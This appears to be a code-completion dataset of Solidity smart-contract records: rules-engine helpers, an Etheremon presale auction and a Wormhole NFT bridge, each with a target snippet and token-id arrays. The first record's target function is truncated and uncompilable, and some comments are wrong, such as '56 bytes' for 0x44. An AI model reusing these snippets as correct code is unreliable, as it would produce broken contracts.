//Place second argument next to first, padded to 32 bytes
mstore(add(ptr,0x24), arg2)
//Place third argument next to second, padded to 64 bytes
mstore(add(ptr,0x44), arg3)
//Place fourth argument next to second, padded to 96 bytes
mstore(add(ptr,0x64), arg4)
let result := call(
300000, // gas limit
targetContract,
0, // not transfer any ether
ptr, // Inputs are stored at location ptr
0x84, // Inputs are 132 bytes long
ptr, //Store output over input
0x20) //Outputs are 32 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x84)) // Set storage pointer to new space
}
strAnswer = bytes32ToString(answer);
}
/// @dev This method allows the rules engine to call another contract's method via assembly, retrieving a value for evaluation
/// @notice The target contract being called is expected to have a function 'methodName' with a specific signature
function invokeValueRetrieval(address targetContract, address, bytes32 methodName, bytes32 attrName) public returns (string memory strAnswer) {
string memory strMethodName = bytes32ToString(methodName);
string memory functionNameAndParams = strConcat(strMethodName, "(bytes32)");
bytes32 answer;
bytes4 sig = bytes4(keccak256(abi.encodePacked(functionNameAndParams)));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), attrName)
let result := call(
15000, // gas limit
targetContract,
0, // not transfer any ether
ptr, // Inputs are stored at location ptr
0x24, // Inputs are 36 bytes long
ptr, //Store output over input
0x20) //Outputs are 32 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space
}
strAnswer = bytes32ToString(answer);
}
/// @dev This method allows the rules engine to call another contract's method via assembly, for the purpose of assigning a value
/// @notice The target contract being called is expected to have a function 'methodName' with a specific signature
function invokeValueSetter(address targetContract, address, bytes32 methodName, bytes32 attrName, bytes32 value) public returns (string memory strAnswer) {
string memory strMethodName = bytes32ToString(methodName);
string memory functionNameAndParams = strConcat(strMethodName, "(bytes32,bytes32)");
bytes32 answer = methodName;
bytes4 sig = bytes4(keccak256(abi.encodePacked(functionNameAndParams)));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), attrName)
//Place second argument next to first, padded to 32 bytes
mstore(add(ptr,0x24), value)
let result := call(
300000, // gas limit
targetContract,
0, // not transfer any ether
ptr, // Inputs are stored at location ptr
0x44, // Inputs are 56 bytes long
ptr, //Store output over input
0x20) //Outputs are 32 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x44)) // Set storage pointer to new space
}
strAnswer = bytes32ToString(answer);
}
/// @notice Copied this code from Oraclize - // Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani
/// @dev This code definitely works
/// @param _a The string to convert into an unsigned integer
/// @param _b The number of decimal places that we wish to include in the unsigned integer, with 0 meaning none
/// @return The unsigned integer converted from the string
function parseInt(string memory _a, uint _b) public pure returns (uint) {
uint bint = _b;
uint mint = 0;
bytes memory bresult = bytes(_a);
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
uint8 tmpNum = uint8(bresult[i]);
if ((tmpNum >= 48) && (tmpNum <= 57)) {
if (decimals) {
if (bint == 0)
break;
else
bint--;
}
mint *= 10;
mint += tmpNum - 48;
} else if (tmpNum == 46)
decimals = true;
}
return mint;
}
/// @dev This method will concatenate the provided strings into one larger string
/// @notice
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) public pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint a = 0; a < _ba.length; a++) {
babcde[k++] = _ba[a];
}
for (uint b = 0; b < _bb.length; b++) {
babcde[k++] = _bb[b];
}
for (uint c = 0; c < _bc.length; c++) {
babcde[k++] = _bc[c];
}
for (uint d = 0; d < _bd.length; d++) {
babcde[k++] = _bd[d];
}
for (uint e = 0; e < _be.length; e++) {
babcde[k++] = _be[e];
}
return string(babcde);
}
/// @dev This method will concatenate the provided strings into one larger string
/// @notice
function strConcat(string memory _a, string memory _b, string memory _c) public pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
/// @dev This method will concatenate the provided strings into one larger string
/// @notice
function strConcat(string memory _a, string memory _b) public pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
/// @dev This method will convert a 'string' type to a 'bytes32' type
/// @notice
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
/// @notice Copied this code from MIT implentation
/// @dev This method will convert a 'uint' type to a 'bytes32' type
function uintToBytes(uint targetVal) public pure returns (bytes32 ret) {
uint v = targetVal;
if (v == 0) {
ret = "0";
}
else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
}
|
@dev This method allows the rules engine to call another contract's method via assembly, retrieving a value for evaluation @notice The target contract being called is expected to have a function 'methodName' with a specific signature move pointer to free memory spot put function sig at memory spot append argument after function sig
|
function invokeValueRetrieval(address targetContract, address, bytes32 methodName, bytes32 attrName) public returns (string memory strAnswer) {
string memory strMethodName = bytes32ToString(methodName);
string memory functionNameAndParams = strConcat(strMethodName, "(bytes32)");
bytes32 answer;
bytes4 sig = bytes4(keccak256(abi.encodePacked(functionNameAndParams)));
assembly {
let ptr := mload(0x40)
mstore(ptr,sig)
mstore(add(ptr,0x04), attrName)
let result := call(
targetContract,
if eq(result, 0) {
revert(0, 0)
}
}
strAnswer = bytes32ToString(answer);
}
| 5,466,783 |
[
1,
2503,
707,
5360,
326,
2931,
4073,
358,
745,
4042,
6835,
1807,
707,
3970,
19931,
16,
17146,
279,
460,
364,
9873,
225,
1021,
1018,
6835,
3832,
2566,
353,
2665,
358,
1240,
279,
445,
296,
2039,
461,
11,
598,
279,
2923,
3372,
3635,
4407,
358,
4843,
3778,
16463,
1378,
445,
3553,
622,
3778,
16463,
714,
1237,
1839,
445,
3553,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4356,
620,
27356,
12,
2867,
1018,
8924,
16,
1758,
16,
1731,
1578,
4918,
16,
1731,
1578,
11583,
13,
1071,
1135,
261,
1080,
3778,
609,
13203,
13,
288,
203,
203,
3639,
533,
3778,
609,
11666,
273,
1731,
1578,
5808,
12,
2039,
461,
1769,
203,
203,
3639,
533,
3778,
14117,
1876,
1370,
273,
609,
15113,
12,
701,
11666,
16,
7751,
3890,
1578,
2225,
1769,
203,
203,
3639,
1731,
1578,
5803,
31,
203,
203,
3639,
1731,
24,
3553,
273,
1731,
24,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
915,
31925,
1370,
3719,
1769,
203,
203,
3639,
19931,
288,
203,
5411,
2231,
6571,
519,
312,
945,
12,
20,
92,
7132,
13,
203,
5411,
312,
2233,
12,
6723,
16,
7340,
13,
203,
5411,
312,
2233,
12,
1289,
12,
6723,
16,
20,
92,
3028,
3631,
11583,
13,
203,
203,
5411,
2231,
563,
519,
745,
12,
203,
7734,
1018,
8924,
16,
203,
2398,
203,
5411,
309,
7555,
12,
2088,
16,
374,
13,
288,
203,
7734,
15226,
12,
20,
16,
374,
13,
203,
5411,
289,
203,
2398,
203,
3639,
289,
203,
203,
3639,
609,
13203,
273,
1731,
1578,
5808,
12,
13490,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xa7c4681c701ac82c8524cfc66e0101ea16e1e00f
//Contract name: EtheremonAdventurePresale
//Balance: 0 Ether
//Verification Date: 5/24/2018
//Transacion Count: 141
// CODE STARTS HERE
pragma solidity ^0.4.19;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract EtheremonAdventurePresale is BasicAccessControl {
uint8 constant NO_ETH_SITE = 52;
uint8 constant MAX_BID_PER_SITE = 2;
using AddressUtils for address;
struct BiddingInfo {
address bidder;
uint32 bidId;
uint amount;
uint time;
uint8 siteId;
}
// address
address public tokenContract;
uint32 public totalBid = 0;
uint public startTime;
uint public endTime;
uint public bidETHMin;
uint public bidETHIncrement;
uint public bidEMONTMin;
uint public bidEMONTIncrement;
mapping(uint32 => BiddingInfo) bids;
mapping(uint8 => uint32[]) sites;
// event
event EventPlaceBid(address indexed bidder, uint8 siteId, uint32 bidId, uint amount);
// modifier
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier validETHSiteId(uint8 _siteId) {
require(_siteId > 0 && _siteId <= NO_ETH_SITE);
_;
}
modifier validEMONTSiteId(uint8 _siteId) {
require(_siteId == 53 || _siteId == 54);
_;
}
modifier onlyRunning {
require(!isMaintaining);
require(block.timestamp >= startTime && block.timestamp < endTime);
_;
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators public {
// only allow withdraw after the presale
if (block.timestamp < endTime)
revert();
if (_amount > this.balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
// only allow withdraw after the presale
if (block.timestamp < endTime)
revert();
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
// public functions
function EtheremonAdventurePresale(uint _bidETHMin, uint _bidETHIncrement, uint _bidEMONTMin, uint _bidEMONTIncrement, uint _startTime, uint _endTime, address _tokenContract) public {
if (_startTime >= _endTime) revert();
startTime = _startTime;
endTime = _endTime;
bidETHMin = _bidETHMin;
bidETHIncrement = _bidETHIncrement;
bidEMONTMin = _bidEMONTMin;
bidEMONTIncrement = _bidEMONTIncrement;
tokenContract = _tokenContract;
}
function placeETHBid(uint8 _siteId) onlyRunning payable external validETHSiteId(_siteId) {
// check valid bid
if (msg.sender.isContract()) revert();
if (msg.value < bidETHMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
bid.bidder = msg.sender;
bid.bidId = totalBid;
bid.amount = msg.value;
bid.time = block.timestamp;
bid.siteId = _siteId;
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
// find lowest bid
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
// check no same ether address
if (currentBid.bidder == msg.sender) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
// verify bidIncrement
if (msg.value < lowestBid.amount + bidETHIncrement)
revert();
// update latest bidder
siteBids[lowestIndex] = totalBid;
// refund for the lowest
lowestBid.bidder.transfer(lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == msg.sender)
revert();
}
siteBids.push(totalBid);
}
EventPlaceBid(msg.sender, _siteId, totalBid, msg.value);
}
// call from our payment contract
function placeEMONTBid(address _bidder, uint8 _siteId, uint _bidAmount) requireTokenContract onlyRunning onlyModerators external validEMONTSiteId(_siteId) {
// check valid bid
if (_bidder.isContract()) revert();
if (_bidAmount < bidEMONTMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
// find lowest bid
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
// check no same ether address
if (currentBid.bidder == _bidder) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
// verify bidIncrement
if (_bidAmount < lowestBid.amount + bidEMONTIncrement)
revert();
// update latest bidder
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids[lowestIndex] = totalBid;
// refund for the lowest
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(lowestBid.bidder, lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == _bidder)
revert();
}
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids.push(totalBid);
}
EventPlaceBid(_bidder, _siteId, totalBid, _bidAmount);
}
// get data
function getBidInfo(uint32 _bidId) constant external returns(address bidder, uint8 siteId, uint amount, uint time) {
BiddingInfo memory bid = bids[_bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
function getBidBySiteIndex(uint8 _siteId, uint _index) constant external returns(address bidder, uint32 bidId, uint8 siteId, uint amount, uint time) {
bidId = sites[_siteId][_index];
if (bidId > 0) {
BiddingInfo memory bid = bids[bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
}
function countBid(uint8 _siteId) constant external returns(uint) {
return sites[_siteId].length;
}
function getLowestBid(uint8 _siteId) constant external returns(uint lowestAmount) {
uint32[] storage siteBids = sites[_siteId];
lowestAmount = 0;
for (uint index = 0; index < siteBids.length; index++) {
if (lowestAmount == 0 || bids[siteBids[index]].amount < lowestAmount) {
lowestAmount = bids[siteBids[index]].amount;
}
}
}
}
|
refund for the lowest
|
lowestBid.bidder.transfer(lowestBid.amount);
| 5,538,333 |
[
1,
1734,
1074,
364,
326,
11981,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
11981,
17763,
18,
19773,
765,
18,
13866,
12,
821,
395,
17763,
18,
8949,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: Apache2
pragma solidity ^0.8.3;
import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "./interfaces/IWormhole.sol";
import "./libraries/BytesLib.sol";
import "./nftHelpers/NFTStructs.sol";
import "./nftHelpers/NFTGetters.sol";
import "./nftHelpers/NFTSetters.sol";
import "./interfaces/IWormhole721.sol";
contract Wormhole721Upgradeable is
ERC721Upgradeable,
IWormhole721,
NFTGetters,
NFTSetters,
PausableUpgradeable,
OwnableUpgradeable,
UUPSUpgradeable
{
using BytesLib for bytes;
// solhint-disable-next-line func-name-mixedcase
function __Wormhole721_init(string memory name, string memory symbol) internal virtual initializer {
__Ownable_init();
__Pausable_init();
__UUPSUpgradeable_init();
__ERC721_init(name, symbol);
}
function _authorizeUpgrade(address newImplementation) internal virtual override onlyOwner {}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
return interfaceId == type(IWormhole721).interfaceId || super.supportsInterface(interfaceId);
}
function wormholeInit(uint16 chainId, address wormhole) public override onlyOwner {
_setChainId(chainId);
_setWormhole(wormhole);
}
function wormholeRegisterContract(uint16 chainId_, bytes32 nftContract_) public override onlyOwner {
_setNftContract(chainId_, nftContract_);
}
function wormholeGetContract(uint16 chainId) public view override returns (bytes32) {
return nftContract(chainId);
}
function _wormholeCompleteTransfer(bytes memory encodedVm) internal returns (address to, uint256 tokenId) {
(IWormhole.VM memory vm, bool valid, string memory reason) = wormhole().parseAndVerifyVM(encodedVm);
require(valid, reason);
require(_verifyNftContractVM(vm), "invalid emitter");
NFTStructs.Transfer memory transfer = _parseTransfer(vm.payload);
require(!isTransferCompleted(vm.hash), "transfer already completed");
_setTransferCompleted(vm.hash);
require(transfer.toChain == chainId(), "invalid target chain");
// transfer bridged NFT to recipient
address transferRecipient = address(uint160(uint256(transfer.to)));
return (transferRecipient, transfer.tokenId);
}
// function _wormholeTransfer(
// uint256 tokenId,
// uint16 recipientChain,
// bytes32 recipient,
// uint32 nonce
// ) internal returns (uint64 sequence) {
// // TODO msg.value - Wormhole fees
// return _wormholeTransferWithValue(tokenId, recipientChain, recipient, nonce, msg.value);
// }
function _wormholeTransferWithValue(
uint256 tokenId,
uint16 recipientChain,
bytes32 recipient,
uint32 nonce,
uint256 value
) internal returns (uint64 sequence) {
require(nftContract(recipientChain) != 0, "ERC721: recipientChain not allowed");
sequence = _logTransfer(NFTStructs.Transfer({tokenId: tokenId, to: recipient, toChain: recipientChain}), value, nonce);
return sequence;
}
function _logTransfer(
NFTStructs.Transfer memory transfer,
uint256 callValue,
uint32 nonce
) internal returns (uint64 sequence) {
bytes memory encoded = _encodeTransfer(transfer);
sequence = wormhole().publishMessage{value: callValue}(nonce, encoded, 15);
}
function _verifyNftContractVM(IWormhole.VM memory vm) internal view returns (bool) {
if (nftContract(vm.emitterChainId) == vm.emitterAddress) {
return true;
}
return false;
}
function _encodeTransfer(NFTStructs.Transfer memory transfer) internal pure returns (bytes memory encoded) {
encoded = abi.encodePacked(uint8(1), transfer.tokenId, transfer.to, transfer.toChain);
}
function _parseTransfer(bytes memory encoded) internal pure returns (NFTStructs.Transfer memory transfer) {
uint256 index = 0;
uint8 payloadId = encoded.toUint8(index);
index += 1;
require(payloadId == 1, "invalid Transfer");
transfer.tokenId = encoded.toUint256(index);
index += 32;
transfer.to = encoded.toBytes32(index);
index += 32;
transfer.toChain = encoded.toUint16(index);
index += 2;
require(encoded.length == index, "invalid Transfer");
return transfer;
}
function wormholeTransfer(
uint256 tokenID,
uint16 recipientChain,
bytes32 recipient,
uint32 nonce
) public payable override returns (uint64 sequence) {
require(_isApprovedOrOwner(_msgSender(), tokenID), "ERC721: transfer caller is not owner nor approved");
_burn(tokenID);
return _wormholeTransferWithValue(tokenID, recipientChain, recipient, nonce, msg.value);
}
// Complete a transfer from Wormhole
function wormholeCompleteTransfer(bytes memory encodedVm) public override {
(address to, uint256 tokenId) = _wormholeCompleteTransfer(encodedVm);
_safeMint(to, tokenId);
}
// convenience helper
// function getIWormhole721InterfaceId() external pure returns(bytes4) {
// return type(IWormhole721).interfaceId;
// }
}
|
transfer bridged NFT to recipient
|
function _wormholeCompleteTransfer(bytes memory encodedVm) internal returns (address to, uint256 tokenId) {
(IWormhole.VM memory vm, bool valid, string memory reason) = wormhole().parseAndVerifyVM(encodedVm);
require(valid, reason);
require(_verifyNftContractVM(vm), "invalid emitter");
NFTStructs.Transfer memory transfer = _parseTransfer(vm.payload);
require(!isTransferCompleted(vm.hash), "transfer already completed");
_setTransferCompleted(vm.hash);
require(transfer.toChain == chainId(), "invalid target chain");
address transferRecipient = address(uint160(uint256(transfer.to)));
return (transferRecipient, transfer.tokenId);
}
| 1,794,414 |
[
1,
13866,
324,
1691,
2423,
423,
4464,
358,
8027,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
389,
91,
535,
27167,
6322,
5912,
12,
3890,
3778,
3749,
22143,
13,
2713,
1135,
261,
2867,
358,
16,
2254,
5034,
1147,
548,
13,
288,
203,
565,
261,
45,
59,
535,
27167,
18,
7397,
3778,
4268,
16,
1426,
923,
16,
533,
3778,
3971,
13,
273,
341,
535,
27167,
7675,
2670,
1876,
8097,
7397,
12,
10787,
22143,
1769,
203,
203,
565,
2583,
12,
877,
16,
3971,
1769,
203,
565,
2583,
24899,
8705,
50,
1222,
8924,
7397,
12,
3489,
3631,
315,
5387,
11520,
8863,
203,
203,
565,
423,
4464,
3823,
87,
18,
5912,
3778,
7412,
273,
389,
2670,
5912,
12,
3489,
18,
7648,
1769,
203,
203,
565,
2583,
12,
5,
291,
5912,
9556,
12,
3489,
18,
2816,
3631,
315,
13866,
1818,
5951,
8863,
203,
565,
389,
542,
5912,
9556,
12,
3489,
18,
2816,
1769,
203,
203,
565,
2583,
12,
13866,
18,
869,
3893,
422,
2687,
548,
9334,
315,
5387,
1018,
2687,
8863,
203,
203,
565,
1758,
7412,
18241,
273,
1758,
12,
11890,
16874,
12,
11890,
5034,
12,
13866,
18,
869,
3719,
1769,
203,
203,
565,
327,
261,
13866,
18241,
16,
7412,
18,
2316,
548,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.2;
import "../../../../interfaces/IApeVault.sol";
import "../../ApeDistributor.sol";
import "../../ApeAllowanceModule.sol";
